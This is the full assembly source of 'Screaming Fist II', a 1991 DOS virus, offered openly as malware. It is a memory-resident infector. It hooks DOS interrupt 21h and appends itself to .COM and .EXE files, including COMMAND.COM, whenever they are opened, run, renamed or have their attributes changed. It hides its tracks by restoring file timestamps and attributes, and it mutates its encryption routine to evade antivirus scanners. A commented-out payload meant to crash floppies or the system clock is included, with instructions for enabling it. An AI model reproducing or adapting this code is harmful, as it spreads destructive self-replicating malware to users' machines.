; Compile with a86

ORG 100H


; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc.
;  The author assumes no responsibility for any damage incurred
;  from the infection caused by this virus

CURTAIN_OPEN EQU $

ARE_WE_RESIDENT?:
 CLD                                 ;Do not remove this
 CALL DECRYPT_US

NEXT_PLACE:

 MOV AH,30H                          ;Get DOS version
 INT 21H
 CMP AL,2                            ;Lower than 2?
 JBE LEAVE_AND_RESTORE               ;Yes,exit
 XOR AX,AX
 DEC AX                              ;Will return AX=0 if virus is resident
 INT 21H
 OR AX,AX                            ;Are we resident?
 JZ LEAVE_AND_RESTORE                ;If not, install

START:
 PUSH DS
 XOR  AX,AX                          ;Now make DS=0
 MOV  DS,AX
 DEC  WORD PTR [413H]                ;Decrease available memory by 1k
 LDS  BX,[0084]                      ;Get INT 21 vector and save it
 CS:
 MOV  [BP+OLD_21_BX-NEXT_PLACE],BX
 CS:
 MOV  [BP+OLD_21_ES-NEXT_PLACE],DS
 MOV  BX,ES                          ;Get address of our memory block
 DEC  BX
 MOV  DS,BX
 SUB  WORD PTR [0003],80H           ;Decrease memory allocated to this program
 MOV  AX,[0012]                      ;Decrease total memory
 SUB  AX,80H                        ;By 80 paragraphs
 MOV  [0012],AX                      ;And save it again
 MOV  ES,AX                          ;Also gives us ES=Top of memory
 PUSH CS                             ;CS=DS
 POP  DS                             ;
 MOV  SI,BP                          ;
 SUB  SI,OFFSET NEXT_PLACE - 100H    ;Offset of code to move
 MOV  DI,100H                        ;ES:100h is destination
 MOV  CX,LENGTH                      ;Move entire virus
 REPZ MOVSB                          ;Move entire virus to top of memory
 MOV  DS,CX                          ;DS=0
 CLI                                 ;Disable interrupts
 MOV  [0086],AX
 MOV  WORD PTR [0084],OFFSET NEW_21  ;Set INT 21 to our code in high memory
 STI                                 ;Enable interrupts
 MOV AX,3DFFH                        ;Code to infect command processor
 INT 21H
 POP DS                              ;DS=ES
 PUSH DS
 POP ES

LEAVE_AND_RESTORE:
 ;PUSH DS                            This is just some silly code
 ;XOR AX,AX                          That will cause random problems
 ;MOV DS,AX                          Like floppies not working
 ;IN AL,21H                          Or the system clock stopping
 ;XOR AL,[046CH]B                    If you want to use it
 ;AND AL,0FDH                        Just remove the semi-colons
 ;OUT 21H,AL
 ;POP DS

 SUB BP,OFFSET NEXT_PLACE - 100H         ;
 OR BP,BP
 JZ LEAVE_EXE                            ;A zero BP means we're leaving an .EXE
 LEA SI,[BP+ORIGINAL_EIGHT-NEXT_PLACE+4] ;Restore original eight bytes so
                                         ;we can RET to them
 MOV  DI,100H
 PUSH DI                                 ;Restore first four bytes
 MOVSW
 MOVSW
 RET                                     ;And return to 100

LEAVE_EXE:
 MOV AX,ES                               ;Use ES for a displacment value
 ADD CS:OLD_CS_DISP - 100H,AX            ;Fix up the CS value
 ADD CS:OLD_SS_DISP - 100H,AX            ;And the SS value

 MOV SS,CS:offset OLD_SS_WORD - 100h     ;Set the correct SS
 MOV SP,CS:offset OLD_SP_WORD - 100h     ;And the correct SP
 JMP $+2                         ;Necessary for .EXE's to run right
                                 ;DO NOT REMOVE! IF YOU DO, .EXE's WON'T RUN!

DB ,0EAH,                        ;Makes a far jump to the original .EXE
                                 ;Entry point

ORIGINAL_EIGHT EQU $

OLD_IP      EQU $
                MOV AH,4CH     ;.COM file beginning stored here

OLD_CS_DISP EQU $
                INT 21H        ;

OLD_SS_DISP EQU $
OLD_SS_WORD DW 00 00           ;Save old SS here

OLD_SP EQU $
OLD_SP_WORD DW 00 00           ;And old SP here

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
;Here is where the resident part begins in high memory.                        ;
;On systems with 640k, this is usually at segment 9F80                         ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;

NEW_21:
 PUSHF
 CMP AX,0FFFFH                   ;AX=FFFF means a program is asking
 JNZ CONTINUE_ASKING             ;If the virus is resident

 POPF                            ;Return to show that virus is resident
 INC AX                          ;Return AX=0 to show that we are resident
 IRET

CONTINUE_ASKING:       ;Infect files on:
 CMP AH,3DH            ;Opening
 JZ OPENING
 CMP AH,4BH            ;Running
 JZ INFECT_REGULAR
 CMP AH,43H            ;Chmod
 JZ INFECT_REGULAR
 CMP AH,56H            ;Renaming
 JZ INFECT_REGULAR

 JMP SHORT OUTTA_HERE

OPENING:
 CMP AL,0FFH                     ;Do we need to infect command processor?
 JNZ INFECT_REGULAR              ;Nope, continue

 PUSH CS                         ;DS=CS
 POP DS
 MOV DX,OFFSET COMMAND           ;If so, let's use C:\COMMAND.COM

COM_FILE:
 CALL DISEASE
 POPF
 IRET

INFECT_REGULAR:

 PUSH AX                         ;Save AX
 CALL CHECK_NAME                 ;Is DS:DX a .COM or an .EXE file?
 OR AX,AX                        ;A non-zero AX means nope
 JNZ OUT_WITH_POP
 CALL DISEASE                    ;Infect file

OUT_WITH_POP:
 POP AX                          ;Restore AX
OUTTA_HERE:
 POPF                            ;Continue with old INT 21

DB ,0EAH,                        ;Code for a JMP FAR

OLD_21_BX DW 00 00               ;Old Int 21 location is stored here
OLD_21_ES DW 00 00               ;

FUNCTION:                        ;Used by virus to call old INT 21
 PUSHF
 CALL DWORD PTR CS:[OLD_21_BX]
 RET


;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
;This portion handles the actual infection process                             ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
DISEASE:

         PUSH AX                           ;Save all registers
         PUSH BX
         PUSH CX
         PUSH DX
         PUSH SI
         PUSH DI
         PUSH DS
         PUSH ES
         PUSH DX

ABOVE_2:
         MOV CS:[OLD_DS]W,DS               ;Save DS
         MOV CS:[OLD_ES]W,ES               ;Save ES
         PUSH CS                           ;CS=DS=ES
         PUSH CS
         POP DS
         POP ES
         MOV AX,3524H                      ;Get INT 24 address
         CALL FUNCTION                     ;
         MOV OFFSET OLD_24_BX,BX           ;Save it
         MOV OFFSET OLD_24_ES,ES           ;
         MOV AH,25H                        ;Now set it to our own code
         LEA DX,OFFSET NEW_24              ;Offset of our INT 24 code
         CALL FUNCTION                     ;

         MOV AH,36H                      ;Get disk free space
         XOR DL,DL                       ;And quit if less than virus length
         CALL FUNCTION
         JC NEED_TO_LEAVE
         OR DX,DX
         JNZ SET_ATTRIBS
         MUL CX
         MUL BX
         CMP AX,LENGTH
         JNB SET_ATTRIBS

NEED_TO_LEAVE:
         POP DX                      ;Clear stack
         JMP DONE                    ;And return


SET_ATTRIBS:
         POP DX
         PUSH DX
         MOV DS,OLD_DS
         MOV AX,4300H                ;Get the attributes
         CALL FUNCTION
         MOV CS:[OLD_ATTRIBS],CX     ;Save them for later
         XOR CX,CX
         MOV AX,4301H
         CALL FUNCTION                   ;Set attribs to normal
         JC LEAVE_WITH_ATTRIBS           ;Leave if error

OPEN_IT:
         MOV AX,3D02H                    ;Open file with Read and Write access
         CALL FUNCTION
         JC NEED_TO_LEAVE                ;Quit on error
         PUSH CS                         ;CS=DS
         POP  DS
         XCHG BX,AX                      ;Save handle
         MOV AH,3FH                      ;Read BUF_LENGTH bytes into CS:BUFFER
         LEA DX,BUFFER                   ;Offset of buffer
         MOV CX,BUF_LENGTH               ;Read 'Em
         CALL FUNCTION
         JC LEAVE_AND_CLOSE              ;Quit on error
         CMP OFFSET BUFFER,5A4DH         ;Is this an .EXE file?
         JZ NAIL_EXE                     ;If so, we gotta do some things

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
;This portion handles a .COM infection                                         ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
         MOV AL,[BUFFER+3]B              ;An indentical byte means this .COM is
         INC AL
         CMP AL,[BUFFER+1]B              ;probably already infected
         JNZ CONTINUE_TO_INFECT          ;If it isn't, let's get it!

LEAVE_AND_CLOSE:
         MOV AH,3EH                      ;Close this file
         CALL FUNCTION

LEAVE_WITH_ATTRIBS:
         POP DX
         PUSH DX
         CALL RESTORE_ATTRIBS            ;Restore the attributes if needed
         JMP SHORT NEED_TO_LEAVE

CONTINUE_TO_INFECT:

         MOV SI,OFFSET BUFFER        ;Starting at CS:BUFFER
         PUSH CS                     ;CS=ES
         POP ES
         LEA DI,OFFSET ORIGINAL_EIGHT;Where to save original eight bytes to
         MOVSW                       ;Save infected files original eight bytes
         MOVSW

         MOV AX,4202H                ;Send RW pointer to end of file
         XOR CX,CX
         XOR DX,DX
         CALL FUNCTION
         OR DX,DX                    ;A non-zero DX means too big of a file
         JNZ LEAVE_AND_CLOSE
         CMP AX,300                  ;Don't infect files less than 300 bytes
         JB LEAVE_AND_CLOSE
         CMP AX,64000                ;Or bigger than 64000
         JA LEAVE_AND_CLOSE
         SUB AX,3                    ;Use the pointer as our jump code
         MOV [BUFFER]B,0E9H          ;Code for absolute JMP
         MOV [BUFFER+1],AX           ;This sets up the .COM so we can tell
         DEC AL                      ;If it's infected next time we see it
         MOV [BUFFER+3],AL
         JMP SHORT ATTACH            ;Continue past .EXE infector

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
;This portion handles infecting all .EXE files                                 ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
NAIL_EXE:

         CMP     WORD PTR [BUFFER+14H],1 ;Offset of IP reg. Is this .EXE infected?
         JZ      LEAVE_AND_CLOSE         ;Leave if already infected

GET_EXE:
         MOV     AX,[BUFFER+4]           ;EXE size in 512 byte pages
         MOV     CX,0200H                ;Multiply by 512 to get filesize
         MUL     CX                      ;
         PUSH    AX                      ;Save AX, AX=Filesize low byte
         PUSH    DX                      ;Save DX, DX=Filesize high byte
         MOV     CL,04                   ;
         ROR     DX,CL                   ;
         SHR     AX,CL                   ;
         ADD     AX,DX                   ;
         SUB     AX,[BUFFER+8]           ;Size of header in 16 byte paragraphs
         PUSH    AX                      ;AX is new code segment displacement
         MOV     AX,[BUFFER+14H]         ;Get old IP register
         MOV     [OLD_IP],AX             ;Save it here
         MOV     AX,[BUFFER+16H]         ;Get old code segment displacement
         ADD     AX,10H                  ;Add 10 to it
         MOV     [OLD_CS_DISP],AX        ;Save it here
         MOV     AX,[BUFFER+14]          ;Get old stack segment
         ADD     AX,10H                  ;Adjust it for later
         MOV     [OLD_SS_DISP],AX        ;And save it here
         MOV     AX,[BUFFER+16]          ;Get stack pointer
         MOV     [OLD_SP],AX             ;And save it here
         POP     AX                      ;Restore AX
         MOV     [BUFFER+16H],AX         ;New code segment
         MOV     [BUFFER+14],AX          ;New SS=CS
         MOV     [BUFFER+16],0FFFFH      ;SP = End of viral code
         MOV     WORD PTR [BUFFER+14H],1 ;New IP register
         ADD     WORD PTR [BUFFER+4],2   ;Size of file in 512 byte pages
         POP     CX
         POP     DX
         MOV     AX,4200H                ;Move file pointer
         CALL    FUNCTION

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
; Attach our viral code to the target file                                     ;
; This portion is shared by the .EXE and the .COM infectors to be more         ;
; efficient                                                                    ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;

ATTACH:

         MOV AX,5700H                ;Get the file time and date
         CALL FUNCTION
         PUSH CX                     ;And save them for later
         PUSH DX

INFECT:

         XOR AX,AX
         MOV DS,AX
         MOV AX,[046CH]              ;Get a random encryption key from timer
         MOV DL,AH                   ;Save part of it in DL
         PUSH CS                     ;DS=CS
         POP DS                      ;
         MOV ENC_BYTE,AL             ;Save keys in our code
         MOV ENC_BYTE_2,DL
         PUSH CS                     ;CS=ES
         POP ES
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ»
;This section provides a semi-random encryption code mutation based on our     Ί
;encryption keys. Look at each line for a desc. of what it does to the code.   Ί
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ
         TEST AL,1
         JZ SKIP_1
         XOR WORD PTR ENC_SWITCH,0ABDEH ;MOV SI,BP <=> PUSH BP POP SI
SKIP_1:
         TEST DL,1
         JZ SKIP_2
         XOR BYTE PTR [ENC_SWITCH_2 + 1],012H  ;OR DL,AL <=> XOR AL,DL
SKIP_2:
         TEST AL,2
         JZ SKIP_4
         XOR BYTE PTR [ENC_SWITCH_4 + 2],010H
SKIP_4:
         TEST DL,2
         JZ SKIP_5
         XOR BYTE PTR [ENC_SWITCH_5 + 2],010H
SKIP_5:
         TEST AL,3
         JZ SKIP_6
         XOR BYTE PTR [ENC_SWITCH_1 + 1],08H
SKIP_6:
         TEST DL,3
         JZ SKIP_7
         XOR BYTE PTR [ENC_SWITCH_3 + 1],08H
SKIP_7:
         TEST AL,4
         JZ SKIP_8
         XOR BYTE PTR [ENC_SWITCH_6 + 1],08H
SKIP_8:
         MOV SI,CURTAIN_OPEN
         MOV DI,DATA_END
         PUSH DI
         PUSH DI
         MOV CX,LENGTH
         REPZ MOVSB
         POP SI
         ADD SI,4
         CALL ENCRYPT_US
         POP DX
         MOV AH,40H                  ;Code for handle write
         MOV CX,LENGTH               ;Length of our viral code
         CALL FUNCTION               ;Write all of virus

MAKE_HEADER:
         MOV AX,4200H                 ;Set file pointer to beginning
         XOR CX,CX                    ;Zero out CX
         XOR DX,DX                    ;Zero out DX
         CALL FUNCTION
         MOV AH,40H                   ;Write to file
         MOV DX,OFFSET BUFFER         ;Starting at BUFFER
         MOV CX,BUF_LENGTH            ;Write BUF_LENGTH bytes
         CALL FUNCTION

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
; This restores the files original date and time                               ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;

RESTORE_TIME:
         MOV AX,5701H                   ;Restore original date and time
         POP DX                         ;To what was read in earlier
         POP CX                         ;
         CALL FUNCTION                  ;
         JMP LEAVE_AND_CLOSE            ;Leave

DONE:
         MOV DX,OFFSET OLD_24_BX W         ;Move the old INT 24's address
         MOV DS,OFFSET OLD_24_ES W         ;so we can restore it
         MOV AX,2524H                      ;Restore it
         CALL FUNCTION
         POP  ES                           ;Restore all registers
         POP  DS
         POP  DI
         POP  SI
         POP  DX
         POP  CX
         POP  BX
         POP  AX
         RET                               ;And quit

RESTORE_ATTRIBS:
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
; This routine restores the files original attributes.                         ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
         MOV AX,4301H                   ;Restore original attribs
         MOV CX,[OLD_ATTRIBS]           ;To what was read in earlier
         MOV DS,OLD_DS
         CALL FUNCTION
         RET

NEW_24:
         XOR AX,AX                      ;Any error will simply be ignored
         STC                            ;Most useful for write protects
         IRET

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
;Please don't be a lamer and change the text to claim it was your own creation ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;

TEXT    DB 'Screaming Fist II'    ;For the AV people, can't have a dumb name!
COMMAND DB 'C:\COMMAND.COM',00                ;File infected

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
; This routine checks to see if the file at DS:DX has an extension of either   ;
; .COM or .EXE. AX is set to zero if either condition is met, and non-zero     ;
; If they aren't.                                                              ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;

CHECK_NAME:
         PUSH SI
         MOV SI,DX

CHECK_FOR_PERIOD:
         LODSB
         OR AL,AL
         JZ LEAVE_NAME_CHECK
         CMP AL,'.'
         JNZ CHECK_FOR_PERIOD
         LODSB
         AND AL,0DFH
         CMP AL,'C'
         JZ MAYBE_COM
         CMP AL,'E'
         JZ MAYBE_EXE
         JMP SHORT LEAVE_NAME_CHECK

MAYBE_COM:
         LODSW
         AND AX,0DFDFH
         CMP AX,'MO'
         JZ FILE_GOOD
         JMP SHORT LEAVE_NAME_CHECK

MAYBE_EXE:
         LODSW
         AND AX,0DFDFH
         CMP AX,'EX'
         JNZ LEAVE_NAME_CHECK

FILE_GOOD:
         XOR AX,AX

LEAVE_NAME_CHECK:
         POP SI
         RET

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ»
;This is the encryption routine. This is the only portion that remains         Ί
;unencrypted. The bytes mark by an ENC_SWITCH are changed to throw off SCAN    Ί
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ

ENC_START EQU $

DECRYPT_US:
         POP BP
         PUSH BP

ENC_SWITCH EQU $
         MOV SI,BP                 ;Alternates between this and PUSH BP, POP SI

         MOV AL,CS:[BP+ENC_BYTE-NEXT_PLACE]   ;Get ENC key #1
         MOV DL,CS:[BP+ENC_BYTE_2-NEXT_PLACE] ;Get ENC key #2

ENCRYPT_US:
         MOV CX,ENC_LENGTH         ;Length to encrypt or decrypt

ENCRYPT_US_II:
ENC_SWITCH_1 EQU $
         NOT AL                    ;Alternates bewtween NOT and NEG

ENC_SWITCH_2 EQU $
         XOR DL,AL                 ;Alternates between this and XOR AL,DL

ENC_SWITCH_4 EQU $
         XOR BYTE PTR CS:[SI],AL   ;Alternates bewteen AL and DL
         SUB AL,DL

ENC_SWITCH_3 EQU $
         NOT DL                    ;Alternates between NOT and NEG

ENC_SWITCH_5 EQU $
         XOR BYTE PTR CS:[SI],DL   ;Alternates between DL and AL
         INC SI                    ;INC encryption pointer
ENC_SWITCH_6 EQU $
         INC DL                    ;Alternates between INC and DEC
         LOOP ENCRYPT_US_II
         RET

ENC_BYTE   DB 00   ;Storage space for encryption keys
ENC_BYTE_2 DB 00

FINI EQU $

LENGTH = FINI - CURTAIN_OPEN

;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
;This is the data table and is not included in the virus size                  ;
;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ;
DATA_BEGIN EQU $

OLD_ATTRIBS DW 00 00      ;File's old attributes

OLD_24_ES DW 00 00        ;Saves address of old INT 24
OLD_24_BX DW 00 00

OLD_DS DW 00 00           ;Saves DS and ES here on entering
OLD_ES DW 00 00

BUFFER_BEGIN EQU $
BUFFER EQU $
    DB 1BH DUP(0)         ;Buffer for bytes read in from file
BUFFER_END EQU $

DATA_END EQU $

DATA_LENGTH = DATA_END - DATA_BEGIN        ;Length of Data Table

BUF_LENGTH = BUFFER_END - BUFFER_BEGIN     ;Length of file buffer

ENC_LENGTH = ENC_START - OFFSET NEXT_PLACE
